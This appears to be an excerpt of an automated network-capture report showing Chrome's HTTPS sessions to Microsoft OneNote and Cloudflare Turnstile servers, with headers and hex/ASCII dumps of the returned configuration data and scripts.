2024-10-25 08:19:19 UTC	644	OUT	GET /o/AppSettingsHandler.ashx?app=OneNote&usid=d792bec9-feb6-4b93-b8c3-d25b567b0fc4&build= HTTP/1.1 Host: onenote.officeapps.live.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: https://onedrive.live.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://onedrive.live.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-25 08:19:19 UTC	1112	IN	HTTP/1.1 200 OK Cache-Control: private Content-Length: 3795 Content-Type: application/json; charset=utf-8 P3P: CP="CAO DSP COR ADMa DEV CONi TELi CUR PSA PSD TAI IVDi OUR SAMi BUS DEM NAV STA UNI COM INT PHY ONL FIN PUR" Set-Cookie: X-CorrelationId: 7678ff41-cf8f-468f-a7a1-1c75150444b7 X-UserSessionId: d792bec9-feb6-4b93-b8c3-d25b567b0fc4 Strict-Transport-Security: max-age=31536000 Timing-Allow-Origin: * X-OfficeFE: DM3PEPF00014BF3 X-OfficeVersion: 16.0.18214.41004 X-OfficeCluster: PUS10 X-Partitioning-Enabled: true Access-Control-Allow-Origin: https://onedrive.live.com X-Content-Type-Options: nosniff X-OFFICEFD: DM3PEPF00014BF3 X-Cache: CONFIG_NOCACHE X-MSEdge-Flight: 2i49=afd_wacinfra4,2i4a=afd_wacinfra5,2oge=afd_wordcapacity_3_control,5e4w=afd_excelslicetest X-MSEdge-Features: afd_waccluster,afd_visioslice_control,afd_pptcapacity_control,afd_wacinfra4,afd_wacinfra5,afd_wordcapacity_3_control,afd_excelslicetest X-MSEdge-Ref: Ref A: 998B6D1B84394B2F9276510D97282CDE Ref B: DFW311000110053 Ref C: 2024-10-25T08:19:19Z Date: Fri, 25 Oct 2024 08:19:18 GMT Connection: close
2024-10-25 08:19:19 UTC	1956	IN	Data Raw: 7b 22 74 69 6d 65 73 74 61 6d 70 22 3a 31 37 32 39 38 34 34 33 35 39 38 34 33 2c 22 42 6f 6f 74 73 74 72 61 70 70 65 72 55 6c 73 48 65 61 72 74 42 65 61 74 49 73 45 6e 61 62 6c 65 64 22 3a 66 61 6c 73 65 2c 22 45 6e 61 62 6c 65 43 6f 6d 6d 6f 6e 48 6f 73 74 44 69 61 67 6e 6f 73 74 69 63 73 50 61 72 61 6d 73 22 3a 74 72 75 65 2c 22 53 68 6f 75 6c 64 4c 6f 67 4a 73 41 70 69 4b 70 69 73 46 6f 72 57 6f 72 64 22 3a 74 72 75 65 2c 22 45 6e 61 62 6c 65 46 72 61 6d 65 50 61 67 65 45 72 72 6f 72 52 65 70 6f 72 74 69 6e 67 46 6f 72 57 6f 72 64 22 3a 66 61 6c 73 65 2c 22 45 6e 61 62 6c 65 57 6f 72 64 53 65 73 73 69 6f 6e 52 65 66 72 65 73 68 54 65 6c 65 6d 65 74 72 79 22 3a 66 61 6c 73 65 2c 22 45 6e 61 62 6c 65 57 6f 72 64 53 65 73 73 69 6f 6e 52 65 66 72 65 73 68 Data Ascii: {"timestamp":1729844359843,"BootstrapperUlsHeartBeatIsEnabled":false,"EnableCommonHostDiagnosticsParams":true,"ShouldLogJsApiKpisForWord":true,"EnableFramePageErrorReportingForWord":false,"EnableWordSessionRefreshTelemetry":false,"EnableWordSessionRefresh
2024-10-25 08:19:19 UTC	1839	IN	Data Raw: 35 30 37 35 33 39 39 37 35 2c 35 30 37 35 33 39 39 37 38 2c 35 30 37 35 35 37 30 36 39 2c 35 30 37 35 36 34 33 31 37 2c 35 30 37 36 31 38 34 35 31 2c 35 30 37 36 35 30 30 35 31 2c 35 30 37 37 37 35 31 38 33 2c 35 30 37 38 34 30 33 35 35 2c 35 30 37 38 36 37 36 31 31 2c 35 30 37 38 39 32 36 37 32 2c 35 30 38 31 31 37 30 39 30 2c 35 30 38 31 31 37 30 39 31 2c 35 30 38 31 32 33 33 35 33 2c 35 30 38 31 33 30 37 32 31 2c 35 30 38 31 33 34 34 39 39 2c 35 30 38 31 33 34 35 33 30 2c 35 30 38 31 34 33 33 30 33 2c 35 30 38 33 30 32 34 31 38 2c 35 30 38 33 35 39 33 36 38 2c 35 30 38 36 33 30 34 37 34 2c 35 30 38 36 35 35 33 33 30 2c 35 30 38 38 32 32 34 32 34 2c 35 30 38 38 32 36 38 34 31 2c 35 30 38 38 39 33 32 36 36 2c 35 30 38 39 30 35 36 38 32 2c 35 30 39 30 39 Data Ascii: 507539975,507539978,507557069,507564317,507618451,507650051,507775183,507840355,507867611,507892672,508117090,508117091,508123353,508130721,508134499,508134530,508143303,508302418,508359368,508630474,508655330,508822424,508826841,508893266,508905682,50909

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
55	192.168.2.6	49967	104.18.94.41	443	5956	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-25 08:19:19 UTC	383	OUT	GET /turnstile/v0/b/e1a56f38220d/api.js HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-25 08:19:20 UTC	471	IN	HTTP/1.1 200 OK Date: Fri, 25 Oct 2024 08:19:20 GMT Content-Type: application/javascript; charset=UTF-8 Content-Length: 47672 Connection: close accept-ranges: bytes last-modified: Wed, 23 Oct 2024 21:21:17 GMT cache-control: max-age=31536000, stale-if-error=10800, stale-while-revalidate=31536000, public access-control-allow-origin: * cross-origin-resource-policy: cross-origin Server: cloudflare CF-RAY: 8d80c7f1fe46e5ad-DFW alt-svc: h3=":443"; ma=86400
2024-10-25 08:19:20 UTC	898	IN	Data Raw: 22 75 73 65 20 73 74 72 69 63 74 22 3b 28 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 48 74 28 65 2c 72 2c 6e 2c 6f 2c 63 2c 6c 2c 67 29 7b 74 72 79 7b 76 61 72 20 68 3d 65 5b 6c 5d 28 67 29 2c 75 3d 68 2e 76 61 6c 75 65 7d 63 61 74 63 68 28 66 29 7b 6e 28 66 29 3b 72 65 74 75 72 6e 7d 68 2e 64 6f 6e 65 3f 72 28 75 29 3a 50 72 6f 6d 69 73 65 2e 72 65 73 6f 6c 76 65 28 75 29 2e 74 68 65 6e 28 6f 2c 63 29 7d 66 75 6e 63 74 69 6f 6e 20 42 74 28 65 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 72 3d 74 68 69 73 2c 6e 3d 61 72 67 75 6d 65 6e 74 73 3b 72 65 74 75 72 6e 20 6e 65 77 20 50 72 6f 6d 69 73 65 28 66 75 6e 63 74 69 6f 6e 28 6f 2c 63 29 7b 76 61 72 20 6c 3d 65 2e 61 70 70 6c 79 28 72 2c 6e 29 3b 66 75 6e 63 74 Data Ascii: "use strict";(function(){function Ht(e,r,n,o,c,l,g){try{var h=e[l](g),u=h.value}catch(f){n(f);return}h.done?r(u):Promise.resolve(u).then(o,c)}function Bt(e){return function(){var r=this,n=arguments;return new Promise(function(o,c){var l=e.apply(r,n);funct
2024-10-25 08:19:20 UTC	1369	IN	Data Raw: 20 65 7d 66 75 6e 63 74 69 6f 6e 20 53 72 28 65 2c 72 29 7b 76 61 72 20 6e 3d 4f 62 6a 65 63 74 2e 6b 65 79 73 28 65 29 3b 69 66 28 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 53 79 6d 62 6f 6c 73 29 7b 76 61 72 20 6f 3d 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 53 79 6d 62 6f 6c 73 28 65 29 3b 72 26 26 28 6f 3d 6f 2e 66 69 6c 74 65 72 28 66 75 6e 63 74 69 6f 6e 28 63 29 7b 72 65 74 75 72 6e 20 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 44 65 73 63 72 69 70 74 6f 72 28 65 2c 63 29 2e 65 6e 75 6d 65 72 61 62 6c 65 7d 29 29 2c 6e 2e 70 75 73 68 2e 61 70 70 6c 79 28 6e 2c 6f 29 7d 72 65 74 75 72 6e 20 6e 7d 66 75 6e 63 74 69 6f 6e 20 6e 74 28 65 2c 72 29 7b 72 65 74 75 72 6e 20 72 3d 72 21 3d 6e 75 Data Ascii: e}function Sr(e,r){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var o=Object.getOwnPropertySymbols(e);r&&(o=o.filter(function(c){return Object.getOwnPropertyDescriptor(e,c).enumerable})),n.push.apply(n,o)}return n}function nt(e,r){return r=r!=nu
2024-10-25 08:19:20 UTC	1369	IN	Data Raw: 72 61 79 24 2f 2e 74 65 73 74 28 6e 29 29 72 65 74 75 72 6e 20 61 74 28 65 2c 72 29 7d 7d 66 75 6e 63 74 69 6f 6e 20 41 65 28 65 2c 72 29 7b 72 65 74 75 72 6e 20 6a 74 28 65 29 7c 7c 71 74 28 65 2c 72 29 7c 7c 47 74 28 65 2c 72 29 7c 7c 7a 74 28 29 7d 66 75 6e 63 74 69 6f 6e 20 44 28 65 29 7b 22 40 73 77 63 2f 68 65 6c 70 65 72 73 20 2d 20 74 79 70 65 6f 66 22 3b 72 65 74 75 72 6e 20 65 26 26 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 21 3d 22 75 6e 64 65 66 69 6e 65 64 22 26 26 65 2e 63 6f 6e 73 74 72 75 63 74 6f 72 3d 3d 3d 53 79 6d 62 6f 6c 3f 22 73 79 6d 62 6f 6c 22 3a 74 79 70 65 6f 66 20 65 7d 66 75 6e 63 74 69 6f 6e 20 55 65 28 65 2c 72 29 7b 76 61 72 20 6e 3d 7b 6c 61 62 65 6c 3a 30 2c 73 65 6e 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 6c 5b 30 Data Ascii: ray$/.test(n))return at(e,r)}}function Ae(e,r){return jt(e)\|\|qt(e,r)\|\|Gt(e,r)\|\|zt()}function D(e){"@swc/helpers - typeof";return e&&typeof Symbol!="undefined"&&e.constructor===Symbol?"symbol":typeof e}function Ue(e,r){var n={label:0,sent:function(){if(l[0
2024-10-25 08:19:20 UTC	1369	IN	Data Raw: 74 69 6f 6e 3a 22 54 75 72 6e 73 74 69 6c 65 27 73 20 61 70 69 2e 6a 73 20 77 61 73 20 6c 6f 61 64 65 64 2c 20 62 75 74 20 74 68 65 20 69 66 72 61 6d 65 20 75 6e 64 65 72 20 63 68 61 6c 6c 65 6e 67 65 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 6c 6f 61 64 65 64 2e 20 48 61 73 20 74 68 65 20 76 69 73 69 74 6f 72 20 62 6c 6f 63 6b 65 64 20 73 6f 6d 65 20 70 61 72 74 73 20 6f 66 20 63 68 61 6c 6c 65 6e 67 65 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 20 6f 72 20 61 72 65 20 74 68 65 79 20 73 65 6c 66 2d 68 6f 73 74 69 6e 67 20 61 70 69 2e 6a 73 3f 22 7d 3b 76 61 72 20 59 74 3d 33 30 30 30 32 30 3b 76 61 72 20 44 65 3d 33 30 30 30 33 30 3b 76 61 72 20 56 65 3d 33 30 30 30 33 31 3b 76 61 72 20 71 3b 28 66 75 Data Ascii: tion:"Turnstile's api.js was loaded, but the iframe under challenges.cloudflare.com could not be loaded. Has the visitor blocked some parts of challenges.cloudflare.com or are they self-hosting api.js?"};var Yt=300020;var De=300030;var Ve=300031;var q;(fu
2024-10-25 08:19:20 UTC	1369	IN	Data Raw: 2e 4e 45 56 45 52 3d 22 6e 65 76 65 72 22 2c 65 2e 4d 41 4e 55 41 4c 3d 22 6d 61 6e 75 61 6c 22 2c 65 2e 41 55 54 4f 3d 22 61 75 74 6f 22 7d 29 28 24 7c 7c 28 24 3d 7b 7d 29 29 3b 76 61 72 20 69 65 3b 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 4e 45 56 45 52 3d 22 6e 65 76 65 72 22 2c 65 2e 4d 41 4e 55 41 4c 3d 22 6d 61 6e 75 61 6c 22 2c 65 2e 41 55 54 4f 3d 22 61 75 74 6f 22 7d 29 28 69 65 7c 7c 28 69 65 3d 7b 7d 29 29 3b 76 61 72 20 58 3b 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 41 4c 57 41 59 53 3d 22 61 6c 77 61 79 73 22 2c 65 2e 45 58 45 43 55 54 45 3d 22 65 78 65 63 75 74 65 22 2c 65 2e 49 4e 54 45 52 41 43 54 49 4f 4e 5f 4f 4e 4c 59 3d 22 69 6e 74 65 72 61 63 74 69 6f 6e 2d 6f 6e 6c 79 22 7d 29 28 58 7c 7c 28 58 3d 7b 7d 29 29 3b 76 61 72 20 Data Ascii: .NEVER="never",e.MANUAL="manual",e.AUTO="auto"})($\|\|($={}));var ie;(function(e){e.NEVER="never",e.MANUAL="manual",e.AUTO="auto"})(ie\|\|(ie={}));var X;(function(e){e.ALWAYS="always",e.EXECUTE="execute",e.INTERACTION_ONLY="interaction-only"})(X\|\|(X={}));var
2024-10-25 08:19:20 UTC	1369	IN	Data Raw: 7d 66 75 6e 63 74 69 6f 6e 20 67 74 28 65 29 7b 72 65 74 75 72 6e 20 4d 28 5b 22 61 6c 77 61 79 73 22 2c 22 65 78 65 63 75 74 65 22 2c 22 69 6e 74 65 72 61 63 74 69 6f 6e 2d 6f 6e 6c 79 22 5d 2c 65 29 7d 66 75 6e 63 74 69 6f 6e 20 51 74 28 65 29 7b 72 65 74 75 72 6e 20 4d 28 5b 22 74 72 75 65 22 2c 22 66 61 6c 73 65 22 5d 2c 65 29 7d 66 75 6e 63 74 69 6f 6e 20 79 74 28 65 29 7b 72 65 74 75 72 6e 20 4d 28 5b 22 72 65 6e 64 65 72 22 2c 22 65 78 65 63 75 74 65 22 5d 2c 65 29 7d 76 61 72 20 24 74 3d 33 30 30 2c 4a 74 3d 31 30 3b 66 75 6e 63 74 69 6f 6e 20 68 74 28 65 29 7b 76 61 72 20 72 3d 6e 65 77 20 55 52 4c 53 65 61 72 63 68 50 61 72 61 6d 73 3b 69 66 28 65 2e 70 61 72 61 6d 73 2e 5f 64 65 62 75 67 53 69 74 65 6b 65 79 4f 76 65 72 72 69 64 65 73 26 26 28 Data Ascii: }function gt(e){return M(["always","execute","interaction-only"],e)}function Qt(e){return M(["true","false"],e)}function yt(e){return M(["render","execute"],e)}var $t=300,Jt=10;function ht(e){var r=new URLSearchParams;if(e.params._debugSitekeyOverrides&&(
2024-10-25 08:19:20 UTC	1369	IN	Data Raw: 29 2e 63 6f 6e 63 61 74 28 65 2c 22 2f 22 29 2e 63 6f 6e 63 61 74 28 72 2c 22 2f 22 29 2e 63 6f 6e 63 61 74 28 6e 2e 74 68 65 6d 65 2c 22 2f 22 29 2e 63 6f 6e 63 61 74 28 45 2c 22 2f 22 29 2e 63 6f 6e 63 61 74 28 6e 2e 73 69 7a 65 2c 22 2f 22 29 2e 63 6f 6e 63 61 74 28 6e 2e 6c 61 6e 67 75 61 67 65 2c 22 2f 22 29 2e 63 6f 6e 63 61 74 28 66 29 7d 76 61 72 20 52 74 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 72 2c 6e 2c 6f 3d 77 69 6e 64 6f 77 2e 69 6e 6e 65 72 57 69 64 74 68 3c 34 30 30 2c 63 3d 65 2e 73 74 61 74 65 3d 3d 3d 53 65 2e 46 41 49 4c 55 52 45 5f 46 45 45 44 42 41 43 4b 7c 7c 65 2e 73 74 61 74 65 3d 3d 3d 53 65 2e 46 41 49 4c 55 52 45 5f 48 41 56 49 4e 47 5f 54 52 4f 55 42 4c 45 53 2c 6c 2c 67 3d 4d 28 6b 72 2c 28 6c 3d 28 72 3d 65 2e 64 Data Ascii: ).concat(e,"/").concat(r,"/").concat(n.theme,"/").concat(E,"/").concat(n.size,"/").concat(n.language,"/").concat(f)}var Rt=function(e){var r,n,o=window.innerWidth<400,c=e.state===Se.FAILURE_FEEDBACK\|\|e.state===Se.FAILURE_HAVING_TROUBLES,l,g=M(kr,(l=(r=e.d
2024-10-25 08:19:20 UTC	1369	IN	Data Raw: 73 68 61 6d 29 72 65 74 75 72 6e 21 31 3b 69 66 28 74 79 70 65 6f 66 20 50 72 6f 78 79 3d 3d 22 66 75 6e 63 74 69 6f 6e 22 29 72 65 74 75 72 6e 21 30 3b 74 72 79 7b 72 65 74 75 72 6e 20 42 6f 6f 6c 65 61 6e 2e 70 72 6f 74 6f 74 79 70 65 2e 76 61 6c 75 65 4f 66 2e 63 61 6c 6c 28 52 65 66 6c 65 63 74 2e 63 6f 6e 73 74 72 75 63 74 28 42 6f 6f 6c 65 61 6e 2c 5b 5d 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 7d 29 29 2c 21 30 7d 63 61 74 63 68 28 65 29 7b 72 65 74 75 72 6e 21 31 7d 7d 66 75 6e 63 74 69 6f 6e 20 49 65 28 65 2c 72 2c 6e 29 7b 72 65 74 75 72 6e 20 6a 65 28 29 3f 49 65 3d 52 65 66 6c 65 63 74 2e 63 6f 6e 73 74 72 75 63 74 3a 49 65 3d 66 75 6e 63 74 69 6f 6e 28 63 2c 6c 2c 67 29 7b 76 61 72 20 68 3d 5b 6e 75 6c 6c 5d 3b 68 2e 70 75 73 68 2e 61 70 70 6c 79 Data Ascii: sham)return!1;if(typeof Proxy=="function")return!0;try{return Boolean.prototype.valueOf.call(Reflect.construct(Boolean,[],function(){})),!0}catch(e){return!1}}function Ie(e,r,n){return je()?Ie=Reflect.construct:Ie=function(c,l,g){var h=[null];h.push.apply
2024-10-25 08:19:20 UTC	1369	IN	Data Raw: 63 61 6c 6c 28 74 68 69 73 2c 6f 29 2c 4d 65 28 42 65 28 6c 29 2c 22 63 6f 64 65 22 2c 76 6f 69 64 20 30 29 2c 6c 2e 6e 61 6d 65 3d 22 54 75 72 6e 73 74 69 6c 65 45 72 72 6f 72 22 2c 6c 2e 63 6f 64 65 3d 63 2c 6c 7d 72 65 74 75 72 6e 20 6e 7d 28 71 65 28 45 72 72 6f 72 29 29 3b 66 75 6e 63 74 69 6f 6e 20 6d 28 65 2c 72 29 7b 76 61 72 20 6e 3d 22 5b 43 6c 6f 75 64 66 6c 61 72 65 20 54 75 72 6e 73 74 69 6c 65 5d 20 22 2e 63 6f 6e 63 61 74 28 65 2c 22 2e 22 29 3b 74 68 72 6f 77 20 6e 65 77 20 64 72 28 6e 2c 72 29 7d 66 75 6e 63 74 69 6f 6e 20 62 28 65 29 7b 63 6f 6e 73 6f 6c 65 2e 77 61 72 6e 28 22 5b 43 6c 6f 75 64 66 6c 61 72 65 20 54 75 72 6e 73 74 69 6c 65 5d 20 22 2e 63 6f 6e 63 61 74 28 65 29 29 7d 66 75 6e 63 74 69 6f 6e 20 7a 65 28 65 29 7b 72 65 74 Data Ascii: call(this,o),Me(Be(l),"code",void 0),l.name="TurnstileError",l.code=c,l}return n}(qe(Error));function m(e,r){var n="[Cloudflare Turnstile] ".concat(e,".");throw new dr(n,r)}function b(e){console.warn("[Cloudflare Turnstile] ".concat(e))}function ze(e){ret
2024-10-25 08:19:20 UTC	1369	IN	Data Raw: 64 69 76 22 29 3b 75 2e 73 74 79 6c 65 2e 70 6f 73 69 74 69 6f 6e 3d 22 66 69 78 65 64 22 2c 75 2e 73 74 79 6c 65 2e 7a 49 6e 64 65 78 3d 22 32 31 34 37 34 38 33 36 34 36 22 2c 75 2e 73 74 79 6c 65 2e 77 69 64 74 68 3d 22 31 30 30 76 77 22 2c 75 2e 73 74 79 6c 65 2e 68 65 69 67 68 74 3d 22 31 30 30 76 68 22 2c 75 2e 73 74 79 6c 65 2e 74 6f 70 3d 22 30 22 2c 75 2e 73 74 79 6c 65 2e 6c 65 66 74 3d 22 30 22 2c 75 2e 73 74 79 6c 65 2e 74 72 61 6e 73 66 6f 72 6d 4f 72 69 67 69 6e 3d 22 63 65 6e 74 65 72 20 63 65 6e 74 65 72 22 2c 75 2e 73 74 79 6c 65 2e 6f 76 65 72 66 6c 6f 77 58 3d 22 68 69 64 64 65 6e 22 2c 75 2e 73 74 79 6c 65 2e 6f 76 65 72 66 6c 6f 77 59 3d 22 61 75 74 6f 22 2c 75 2e 73 74 79 6c 65 2e 62 61 63 6b 67 72 6f 75 6e 64 3d 22 72 67 62 61 28 30 Data Ascii: div");u.style.position="fixed",u.style.zIndex="2147483646",u.style.width="100vw",u.style.height="100vh",u.style.top="0",u.style.left="0",u.style.transformOrigin="center center",u.style.overflowX="hidden",u.style.overflowY="auto",u.style.background="rgba(0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
56	192.168.2.6	49981	104.18.95.41	443	5956	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-25 08:19:20 UTC	730	OUT	GET /cdn-cgi/challenge-platform/h/b/orchestrate/chl_api/v1?ray=8d80c7f0395d4869&lang=auto HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/zpfpa/0x4AAAAAAAyWJLKajdsL6TRH/auto/fbE/normal/auto/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-25 08:19:20 UTC	331	IN	HTTP/1.1 200 OK Date: Fri, 25 Oct 2024 08:19:20 GMT Content-Type: application/javascript; charset=UTF-8 Content-Length: 121711 Connection: close cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Server: cloudflare CF-RAY: 8d80c7f51f084680-DFW alt-svc: h3=":443"; ma=86400
2024-10-25 08:19:20 UTC	1038	IN	Data Raw: 77 69 6e 64 6f 77 2e 5f 63 66 5f 63 68 6c 5f 6f 70 74 2e 75 61 4f 3d 66 61 6c 73 65 3b 77 69 6e 64 6f 77 2e 5f 63 66 5f 63 68 6c 5f 6f 70 74 2e 76 45 73 72 32 3d 7b 22 6d 65 74 61 64 61 74 61 22 3a 7b 22 63 68 61 6c 6c 65 6e 67 65 2e 74 65 72 6d 73 22 3a 22 68 74 74 70 73 25 33 41 25 32 46 25 32 46 77 77 77 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 25 32 46 77 65 62 73 69 74 65 2d 74 65 72 6d 73 25 32 46 22 2c 22 63 68 61 6c 6c 65 6e 67 65 2e 73 75 70 70 6f 72 74 65 64 5f 62 72 6f 77 73 65 72 73 22 3a 22 68 74 74 70 73 25 33 41 25 32 46 25 32 46 64 65 76 65 6c 6f 70 65 72 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 25 32 46 66 75 6e 64 61 6d 65 6e 74 61 6c 73 25 32 46 67 65 74 2d 73 74 61 72 74 65 64 25 32 46 63 6f 6e 63 65 70 74 73 25 32 46 63 6c Data Ascii: window._cf_chl_opt.uaO=false;window._cf_chl_opt.vEsr2={"metadata":{"challenge.terms":"https%3A%2F%2Fwww.cloudflare.com%2Fwebsite-terms%2F","challenge.supported_browsers":"https%3A%2F%2Fdevelopers.cloudflare.com%2Ffundamentals%2Fget-started%2Fconcepts%2Fcl
2024-10-25 08:19:20 UTC	1369	IN	Data Raw: 32 30 70 72 6f 70 65 72 6c 79 2e 25 33 43 62 72 25 32 46 25 33 45 25 33 43 61 25 32 30 74 61 72 67 65 74 25 33 44 25 32 32 5f 62 6c 61 6e 6b 25 32 32 25 32 30 72 65 6c 25 33 44 25 32 32 6e 6f 6f 70 65 6e 65 72 25 32 30 6e 6f 72 65 66 65 72 72 65 72 25 32 32 25 32 30 68 72 65 66 25 33 44 25 32 32 68 74 74 70 73 25 33 41 25 32 46 25 32 46 64 65 76 65 6c 6f 70 65 72 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 25 32 46 66 75 6e 64 61 6d 65 6e 74 61 6c 73 25 32 46 67 65 74 2d 73 74 61 72 74 65 64 25 32 46 63 6f 6e 63 65 70 74 73 25 32 46 63 6c 6f 75 64 66 6c 61 72 65 2d 63 68 61 6c 6c 65 6e 67 65 73 25 32 46 25 32 33 62 72 6f 77 73 65 72 2d 73 75 70 70 6f 72 74 25 32 32 25 33 45 43 6c 69 63 6b 25 32 30 68 65 72 65 25 32 30 66 6f 72 25 32 30 6d 6f 72 65 25 Data Ascii: 20properly.%3Cbr%2F%3E%3Ca%20target%3D%22_blank%22%20rel%3D%22noopener%20noreferrer%22%20href%3D%22https%3A%2F%2Fdevelopers.cloudflare.com%2Ffundamentals%2Fget-started%2Fconcepts%2Fcloudflare-challenges%2F%23browser-support%22%3EClick%20here%20for%20more%
2024-10-25 08:19:20 UTC	1369	IN	Data Raw: 38 37 33 29 29 2f 36 2a 28 2d 70 61 72 73 65 49 6e 74 28 67 4b 28 31 33 35 33 29 29 2f 37 29 2b 70 61 72 73 65 49 6e 74 28 67 4b 28 31 31 38 39 29 29 2f 38 2a 28 2d 70 61 72 73 65 49 6e 74 28 67 4b 28 31 32 38 34 29 29 2f 39 29 2b 70 61 72 73 65 49 6e 74 28 67 4b 28 38 33 30 29 29 2f 31 30 2c 64 3d 3d 3d 66 29 62 72 65 61 6b 3b 65 6c 73 65 20 65 2e 70 75 73 68 28 65 2e 73 68 69 66 74 28 29 29 7d 63 61 74 63 68 28 67 29 7b 65 2e 70 75 73 68 28 65 2e 73 68 69 66 74 28 29 29 7d 7d 28 61 2c 39 34 32 35 37 32 29 2c 65 4d 3d 74 68 69 73 7c 7c 73 65 6c 66 2c 65 4e 3d 65 4d 5b 67 4c 28 37 30 39 29 5d 2c 65 4f 3d 5b 5d 2c 65 50 3d 30 3b 32 35 36 3e 65 50 3b 65 4f 5b 65 50 5d 3d 53 74 72 69 6e 67 5b 67 4c 28 31 35 30 36 29 5d 28 65 50 29 2c 65 50 2b 2b 29 3b 65 51 Data Ascii: 873))/6(-parseInt(gK(1353))/7)+parseInt(gK(1189))/8(-parseInt(gK(1284))/9)+parseInt(gK(830))/10,d===f)break;else e.push(e.shift())}catch(g){e.push(e.shift())}}(a,942572),eM=this\|\|self,eN=eM[gL(709)],eO=[],eP=0;256>eP;eO[eP]=String[gL(1506)](eP),eP++);eQ
2024-10-25 08:19:20 UTC	1369	IN	Data Raw: 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 2d 69 7d 2c 27 62 62 48 59 57 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 2b 69 7d 2c 27 59 59 5a 52 44 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 69 3d 3d 68 7d 7d 2c 65 3d 53 74 72 69 6e 67 5b 68 67 28 31 35 30 36 29 5d 2c 66 3d 7b 27 68 27 3a 66 75 6e 63 74 69 6f 6e 28 68 29 7b 72 65 74 75 72 6e 20 68 3d 3d 6e 75 6c 6c 3f 27 27 3a 66 2e 67 28 68 2c 36 2c 66 75 6e 63 74 69 6f 6e 28 69 2c 68 68 2c 6a 29 7b 72 65 74 75 72 6e 20 68 68 3d 62 2c 6a 3d 7b 27 6d 62 55 65 47 27 3a 66 75 6e 63 74 69 6f 6e 28 6b 2c 6c 29 7b 72 65 74 75 72 6e 20 6b 28 6c 29 7d 7d 2c 68 68 28 31 32 37 36 29 21 3d 3d 68 68 28 31 32 37 36 29 3f 7b 27 74 68 65 6e 27 3a 66 75 6e 63 74 69 6f Data Ascii: (h,i){return h-i},'bbHYW':function(h,i){return h+i},'YYZRD':function(h,i){return i==h}},e=String[hg(1506)],f={'h':function(h){return h==null?'':f.g(h,6,function(i,hh,j){return hh=b,j={'mbUeG':function(k,l){return k(l)}},hh(1276)!==hh(1276)?{'then':functio
